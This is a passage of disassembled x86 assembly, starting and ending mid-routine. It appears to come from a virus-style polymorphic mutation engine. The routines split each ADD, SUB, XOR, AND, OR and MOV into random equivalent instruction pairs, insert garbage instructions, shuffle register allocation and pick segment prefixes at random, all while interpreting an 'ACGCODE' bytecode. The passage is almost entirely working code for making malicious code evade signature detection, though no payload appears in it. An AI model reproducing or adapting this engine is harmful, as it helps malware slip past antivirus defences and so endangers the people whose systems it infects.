loc_0_1D8B: ; (CMP) cmp bh, 7 jz Do_Instruction3 cmp bh, 8 ; jz Do_Instruction3 cmp bh, 2 ; (ADC) jz Do_Instruction3 cmp bh, 3 ; (SBB) jz Do_Instruction3 cmp bl, 4 jb loc_0_1F9A ; jump if not immediate cmp bh, 0 ; (ADD) jz Operation_ADD_SUB cmp bh, 5 ; (SUB) jz Operation_ADD_SUB cmp bh, 4 ; (AND) jz Operation_AND cmp bh, 1 ; (OR) jz Operation_OR cmp bh, 6 ; (XOR) jz Operation_XOR cmp bh, 0FFh ; (MOV) jz Do_MOV1 jmp Do_Instruction3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Operation_ADD_SUB: push edx push esi call _getRND_in_EDX xchg edx, esi call _Do_Instruction5 ; ADD reg/mem, x call _Generate_4times_Garbage xchg edx, esi sub esi, edx call _Do_Instruction3 ; ADD reg/mem, (imm-x) call _Generate_4times_Garbage pop esi pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Operation_XOR: push edx push esi call _getRND_in_EDX xchg edx, esi call _Do_Instruction5 ; XOR reg/mem, x call _Generate_4times_Garbage xchg edx, esi xor esi, edx call _Do_Instruction3 ; XOR reg/mem, (imm^x) call _Generate_4times_Garbage pop esi pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Operation_OR: push eax push edx push esi call _getRND_in_EDX ; a mov eax, edx and edx, esi neg eax dec eax and eax, esi mov esi, edx call _getRND_in_EDX ; b and edx, esi or eax, edx call _getRND_in_EDX ; c and edx, eax or esi, edx ; x = imm AND a ; y = imm AND (NOT(a) OR (a AND b)) ; bits_of_y = imm AND (NOT(a) OR (a AND b)) AND c call _Do_Instruction5 ; OR reg/mem, (x OR bits_of_y) call _Generate_4times_Garbage mov esi, eax call _Do_Instruction3 ; OR reg/mem, y call _Generate_4times_Garbage pop esi pop edx pop eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Operation_AND: push eax push edx push esi call _getRND_in_EDX ; a mov eax, edx or edx, esi neg eax dec eax or eax, esi mov esi, edx call _getRND_in_EDX ; b or edx, esi and eax, edx call _getRND_in_EDX ; c or edx, eax and esi, edx ; x = imm OR a ; y = imm OR (NOT(a) AND (a OR b)) ; bits_of_y = imm OR (NOT(a) AND (a OR b)) OR c call _Do_Instruction5 ; AND reg/mem, (x AND bits_of_y) call _Generate_4times_Garbage mov esi, eax call _Do_Instruction3 ; AND reg/mem, y call _Generate_4times_Garbage pop esi pop edx pop eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Do_MOV1: push edx push esi call _getRND_in_DX cmp dh, 33h ja loc_0_1EE1 call _getRND_in_EDX sub esi, edx call _Do_Instruction5 ; MOV reg/mem, (imm-x) call _Generate_4times_Garbage mov esi, edx mov bh, 0 call _Do_Instruction3 ; ADD reg/mem, x call _Generate_4times_Garbage mov bh, 0FFh ; restore info about original instruction pop esi pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1EE1: cmp dh, 66h ja loc_0_1F09 call _getRND_in_EDX add esi, edx call _Do_Instruction5 ; MOV reg/mem, (imm+x) call _Generate_4times_Garbage mov esi, edx mov bh, 5 call _Do_Instruction3 ; SUB reg/mem, x call _Generate_4times_Garbage mov bh, 0FFh pop esi pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1F09: cmp dh, 99h ja loc_0_1F31 call _getRND_in_EDX xor esi, edx call _Do_Instruction5 ; XOR reg/mem, (imm^x) call _Generate_4times_Garbage mov esi, edx mov bh, 6 call _Do_Instruction3 ; XOR reg/mem, x call _Generate_4times_Garbage mov bh, 0FFh ; restore info about original instruction pop esi pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1F31: cmp dh, 0CCh ja loc_0_1F68 call _getRND_in_EDX ; a or esi, edx ; x=(imm OR a) call _Do_Instruction5 ; MOV reg/mem, x call _Generate_4times_Garbage neg esi dec esi call _getRND_in_EDX ; b and esi, edx pop edx ; (EDX=imm) or esi, edx ; y=(NOT(x) AND b) OR imm mov bh, 4 call _Do_Instruction3 ; AND reg/mem, y call _Generate_4times_Garbage mov bh, 0FFh ; restore info about original instruction mov esi, edx pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1F68: ; a call _getRND_in_EDX and esi, edx ; x=(imm AND a) call _Do_Instruction5 ; MOV reg/mem, x call _Generate_4times_Garbage neg esi dec esi call _getRND_in_EDX ; b or esi, edx pop edx and esi, edx ; y=(NOT(a) OR b) AND imm mov bh, 1 call _Do_Instruction3 ; OR reg/mem, y call _Generate_4times_Garbage mov bh, 0FFh ; restore info about original instruction mov esi, edx pop edx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1F9A: cmp bh, 0FFh jz Do_MOV2 ; jump if MOV reg/mem,reg jmp Do_Instruction3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Do_MOV2: push dx push eax mov eax, esi cmp bl, 2 jz loc_0_1FB0 mov eax, edi loc_0_1FB0: ; (EAX=target register) push esi push edi push bx mov edi, eax mov bh, 0FFh mov bl, 4 call _getRND_in_DX cmp dh, 40h jnb loc_0_1FD3 mov esi, 0FFFFFFFFh ; MOV reg/mem,-1 call _Do_Instruction5 mov ah, 4 ; AND jmp short loc_0_1FE9 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1FD3: ; MOV reg/mem,0 xor esi, esi call _Do_Instruction5 mov ah, 1 ; OR or dx, dx jns loc_0_1FE9 mov ah, 6 ; XOR cmp dh, 0C0h jb loc_0_1FE9 mov ah, 0 ; ADD loc_0_1FE9: pop bx mov bh, ah pop edi pop esi call _Do_Instruction5 call _Generate_4times_Garbage mov bh, 0FFh ; restore info about original instruction pop eax pop dx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_1FFE: push cx call _Choose_Register ; choose auxiliar register cmp ch, 8 jb Do_MOV3 ; jump if new register was selected successfully pop cx jmp loc_0_1D8B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Do_MOV3: push ax push bx push edx push esi push edi mov al, 1 call _setRegUsed ; set auxiliar register as used mov dl, ch and edx, 7 push edx ; EDX = auxiliar register cmp bl, 2 jz loc_0_202C xchg edi, edx ; BL=0 ; ESI = source ; EDI = auxiliar (target operand) ; EDX = target jmp short loc_0_202F ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_202C: ; BL=2 xchg esi, edx ; ESI = auxiliar (target operand) ; EDI = target ; EDX = source loc_0_202F: ; BL = 0 ---> MOV auxiliar,source call _Do_Instruction5 ; BL = 2 ---> MOV auxiliar,target pop esi ; ESI = auxiliar register xchg edi, edx ; EDI = target/source according to BL=0/2 call Do_MOV ; BL = 0 ---> MOV target,auxiliar ; BL = 2 ---> MOV source,auxiliar mov al, 0 call _setRegUsed ; set auxiliar register as free pop edi pop esi pop edx pop bx pop ax pop cx retn Do_Instruction4 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ get_WPregister_BX_CL proc near and edi, 7Fh mov cl, gs:[edi+edi+7Eh] mov bx, gs:[edi+edi] retn get_WPregister_BX_CL endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ convert_WorkPlace_Reg2 proc near and edi, 7Fh push ax push bx push cx call _get_WPregister_BX_CL cmp bx, dx ; already done? jz loc_0_208A cmp bx, 0FF00h jb loc_0_2078 mov ch, bl mov al, 0 call _setRegUsed ; set register CH free loc_0_2078: ; (target) cmp dh, 0FFh jnz loc_0_2085 ; jump if argument is in memory mov ch, dl mov al, 2 call _setRegUsed loc_0_2085: mov gs:[edi+edi], dx loc_0_208A: pop cx pop bx pop ax retn convert_WorkPlace_Reg2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Save_Reg_in_WorkPlace proc near push ax push bx push cx and edi, 7Fh mov gs:[edi+edi+7Eh], cl ; save size in WP jmp short loc_0_2078 Save_Reg_in_WorkPlace endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Delete_Reg_in_WorkPlace proc near push dx xor dx, dx call _convert_WorkPlace_Reg2 ; free used reg mov gs:[edi+edi+7Eh], dx pop dx retn Delete_Reg_in_WorkPlace endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ CH_register_to_EDI_WPindex proc near mov edi, 0FFFFFFFFh loc_0_20B2: inc edi cmp word ptr gs:[edi+edi], 0FF00h jb loc_0_20B2 cmp gs:[edi+edi], ch jnz loc_0_20B2 cmp gs:[edi+edi+7Eh], cl jnz loc_0_20B2 retn CH_register_to_EDI_WPindex endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ convert_WorkPlace_Reg proc near push cx push esi push edi ; EDI=index in WP mov cl, gs:[edi+edi+7Eh] ; (size) mov si, gs:[edi+edi] ; (register) call _convert_WorkPlace_Reg2 ; (DX specifies new type) call Touch_ESI ; (source) mov di, dx call Touch_EDI ; (target) call Do_MOV pop edi pop esi pop cx retn convert_WorkPlace_Reg endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ copy_CH_register_to_memory_or_register proc near push dx push cx push edi call CH_register_to_EDI_WPindex ; find register in WP cmp Force_Register_Instead_of_Memory, 0 jnz loc_0_210F loc_0_2100: ; CX=1,2,4 (size of register to copy to memory) mov ch, 0 call _Allocate_Code_Space ; DX=offset in memory loc_0_2106: ; move register to memory call _convert_WorkPlace_Reg pop edi pop cx pop dx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_210F: call _Choose_Register cmp ch, 8 jnb loc_0_2100 mov dh, 0FFh ; specify register mov dl, ch jmp short loc_0_2106 copy_CH_register_to_memory_or_register endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Discard_Used_Register proc near push ax push cx call _IsRegUsed ; check if CH register is free cmp al, 0 jz loc_0_2169 ; free mov ah, al call get_Register_Size xchg ah, al ; AH=size test al, 1 jnz loc_0_216E ; already used, and cannot be discarded ? cmp ah, 1 ja loc_0_2144 cmp cl, 1 ja loc_0_214E ; (AH==1)&&(CL>1) loc_0_213D: mov cl, ah call copy_CH_register_to_memory_or_register jmp short loc_0_2169 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2144: cmp cl, 1 ja loc_0_213D ; (AH>1)&&(CL>1) and ch, 3 ; (whole word register) jmp short loc_0_213D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_214E: mov cl, ah call _IsRegUsed cmp al, 0 jz loc_0_215B call copy_CH_register_to_memory_or_register ; (copy this register to its original memory or to other register) loc_0_215B: ; (high byte) or ch, 4 call _IsRegUsed cmp al, 0 jz loc_0_2169 call copy_CH_register_to_memory_or_register ; (copy this register to its original memory or to other register) loc_0_2169: pop cx pop ax mov al, 1 ; ok retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_216E: pop cx pop ax mov al, 0 ; not free :-( retn Discard_Used_Register endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Discard_Used_Register2 proc near push ax call Discard_Used_Register pop ax retn Discard_Used_Register2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Discard_Used_Register3 proc near mov Force_Register_Instead_of_Memory, 1 ; move preferably to a register call _Discard_Used_Register2 mov Force_Register_Instead_of_Memory, 0 ; now use memory, so we will be sure register will get free push ax call _IsRegUsed cmp al, 0 pop ax jnz Discard_Used_Register2 ; if register is not yet free, do it again (now we will be using memory as target) retn Discard_Used_Register3 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Is_Indexed_Memory proc near cmp edi, 8 jb loc_0_21AA ; jump if operand is register push edx mov edx, edi ror edx, 10h cmp dx, 106h pop edx jz locret_0_21AB clc ; on exit CF = 1 meaning memory access is indexed loc_0_21AA: ; set CF = 0 if operand is register cmc locret_0_21AB: retn Is_Indexed_Memory endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ getRND_Reg_Not_Index proc near call Is_Indexed_Memory ; check target operand jb loc_0_21BC ; jump if indexed memory xchg edi, esi call Is_Indexed_Memory ; check source operand xchg edi, esi jnb loc_0_21CF ; jump if both operands are registers loc_0_21BC: ; get random reg (not BX,SI,DI) call loc_0_21CF cmp ch, 3 ; BX jz loc_0_2200 cmp ch, 6 ; SI jz loc_0_2200 cmp ch, 7 ; DI jz loc_0_2200 retn ; (BX,SI,DI will be used for indexing memory) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_21CF: cmp cl, 1 jz getRND_Reg cmp esi, 8 jb loc_0_21E0 cmp edi, 8 jnb getRND_Reg loc_0_21E0: push dx call _getRND_in_DX cmp dh, 50h pop dx jnb loc_0_2200 getRND_Reg: push dx call _getRND_in_DX mov ch, dh and ch, 7 pop dx Avoid_SP_Reg: cmp cl, 1 jz locret_0_2202 cmp ch, 4 ; SP? jnz locret_0_2202 loc_0_2200: ; use AX instead of SP mov ch, 0 locret_0_2202: retn getRND_Reg_Not_Index endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Choose_Register_Smart proc near push ax mov ah, 10h ; used to avoid endless loops loc_0_2206: ; choose register of size CL call getRND_Reg call _IsRegUsed cmp al, 0 jnz loc_0_2218 ; reg is in use call IsRegFree cmp al, 0 jnz loc_0_228E ; ok loc_0_2218: dec ah jnz loc_0_2206 ; try another one mov ah, 0 loc_0_221E: mov ch, ah call Avoid_SP_Reg ; dont use SP register call _IsRegUsed cmp al, 0 jnz loc_0_2232 call IsRegFree cmp al, 0 jnz loc_0_228E ; ok loc_0_2232: inc ah cmp ah, 8 ; try all registers jnz loc_0_221E cmp Force_Memory_Instead_of_Register, 1 jz loc_0_228C mov ah, 10h ; used to avoid endless loops loc_0_2242: call getRND_Reg call _IsRegUsed cmp al, 0 jz loc_0_228E ; ok dec ah jnz loc_0_2242 mov ah, 0 loc_0_2253: mov ch, ah call Avoid_SP_Reg call _IsRegUsed cmp al, 0 jz loc_0_228E ; ok inc ah cmp ah, 8 ; try all registers jnz loc_0_2253 mov ah, 10h ; used to avoid endless loops loc_0_2269: call getRND_Reg call Discard_Used_Register ; *** cmp al, 1 jz loc_0_228E ; ok dec ah jnz loc_0_2269 mov ah, 0 loc_0_2279: mov ch, ah call Avoid_SP_Reg call Discard_Used_Register ; *** cmp al, 1 jz loc_0_228E ; ok inc ah cmp ah, 8 ; try all regs jnz loc_0_2279 loc_0_228C: ; choose memory mov ch, 0FFh loc_0_228E: pop ax retn Choose_Register_Smart endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Choose_Register proc near mov Force_Memory_Instead_of_Register, 1 call Choose_Register_Smart cmp ch, 8 jnb loc_0_22A0 ; jump if memory call setRegFree loc_0_22A0: mov Force_Memory_Instead_of_Register, 0 retn Choose_Register endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ESI_WPindex_to_CH_register proc near push bx push dx call _get_WPregister_BX_CL mov ch, bl cmp bx, 0FF00h jnb loc_0_22BF ; jump if register call Choose_Register_Smart mov dl, ch mov dh, 0FFh call _convert_WorkPlace_Reg ; update variable in WP loc_0_22BF: pop dx pop bx retn ESI_WPindex_to_CH_register endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Check_BX_SI_DI proc near push dx push bx call _get_WPregister_BX_CL cmp bh, 0FFh jnz loc_0_22DE mov ch, bl ; in case of register, only BX,SI,DI can be used as memory index cmp bl, 3 ; BX jz loc_0_2301 cmp bl, 6 ; SI jz loc_0_2301 cmp bl, 7 ; DI jz loc_0_2301 loc_0_22DE: call _getRND_in_DX mov bx, 0FF03h ; convert into BX cmp dh, 55h jb loc_0_22F5 mov bx, 0FF06h ; convert into SI cmp dh, 0AAh jb loc_0_22F5 mov bx, 0FF07h ; convert into DI loc_0_22F5: mov dx, bx mov ch, bl call _Discard_Used_Register3 ; be sure that register isnt used call _convert_WorkPlace_Reg ; so we use the register that DX indicates loc_0_2301: pop dx pop bx retn Check_BX_SI_DI endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Touch_EDI2 proc near push cx push bx call _get_WPregister_BX_CL mov di, bx call Touch_EDI pop bx pop cx retn Touch_EDI2 endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ESI_WPindex_to_ESI_register_EDI_WPindex proc near push cx xchg edi, esi call ESI_WPindex_to_CH_register movzx edi, ch ; CH=register xchg edi, esi ; ESI=register ; EDI=index in WP pop cx retn ESI_WPindex_to_ESI_register_EDI_WPindex endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ get_Immediate_Value proc near push bx xor eax, eax call _Get_ACGCODE_Byte cmp cl, 1 jz loc_0_2351 ; jump if OperandSize=1 mov bl, al call _Get_ACGCODE_Byte mov bh, al call _get_ACGCODE_Word ; (index in WP or high word in case of CL=4) cmp cl, 4 jnz loc_0_2348 ; jump if it can be an offset shl eax, 10h loc_0_2344: mov ax, bx jmp short loc_0_2351 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2348: cmp ax, 0FFFFh jz loc_0_2344 ; its not offset, but only an immediate xchg ax, bx ; AX=immediate ; BX=index in WP add ax, gs:[bx] ; AX=start+relative offset inside variable loc_0_2351: pop bx retn get_Immediate_Value endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ get_offset_Variable proc near push cx push eax call _Get_ACGCODE_Byte cmp al, 80h jnb loc_0_2365 ; jump if exist relative displacement mov di, ax call Touch_EDI2 jmp short loc_0_2386 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_0_2365: mov cl, 2 call get_Immediate_Value ; get offset to variable mov edi, Operand_Ampersand or eax, edi or edi, edi jnz loc_0_237D or eax, 1060000h ; without index reg loc_0_237D: and Operand_Ampersand, 0 mov edi, eax loc_0_2386: pop eax pop cx call Reset_Used_Regs retn get_offset_Variable endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Select_Segment_from_Table proc near cmp al, 8 jb locret_0_2399 ; use this value as Segment Register sub al, 8 ; for S1,S2,S3 look in table push bx mov bx, offset Segment_Selection ; table contains ES,FS,GS randomly ordered xlat pop bx locret_0_2399: retn Select_Segment_from_Table endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Check_Segment_Prefix proc near push ax mov al, Memory_Segment_Register cmp al, 0FFh jz loc_0_23AA ; skip if no prefix call Store_Segment_Prefix mov Memory_Segment_Register, 0FFh loc_0_23AA: pop ax retn Check_Segment_Prefix endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Prefix_Segment proc near and al, 0Fh call Select_Segment_from_Table mov Memory_Segment_Register, al retn ACGCODE_Prefix_Segment endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Declare_Local_Variable proc near and al, 3 inc al mov cl, al ; CL = 1..4 call _Get_ACGCODE_Byte mov di, ax and edi, 7Fh ; EDI=index in WP call Choose_Register_Smart ; select register mov dl, ch mov dh, 0FFh ; use register call Save_Reg_in_WorkPlace retn ACGCODE_Declare_Local_Variable endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Free_Local_Variable proc near call _Get_ACGCODE_Byte mov di, ax call Delete_Reg_in_WorkPlace retn ACGCODE_Free_Local_Variable endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ACGCODE_Offset proc near call _Get_ACGCODE_Byte mov di, ax ; index in workplace call Check_BX_SI_DI mov al, 3 call _setRegUsed mov eax, 1070000h ; BX cmp ch, 3 jz loc_0_2405 mov eax, 1040000h ; SI cmp ch, 6 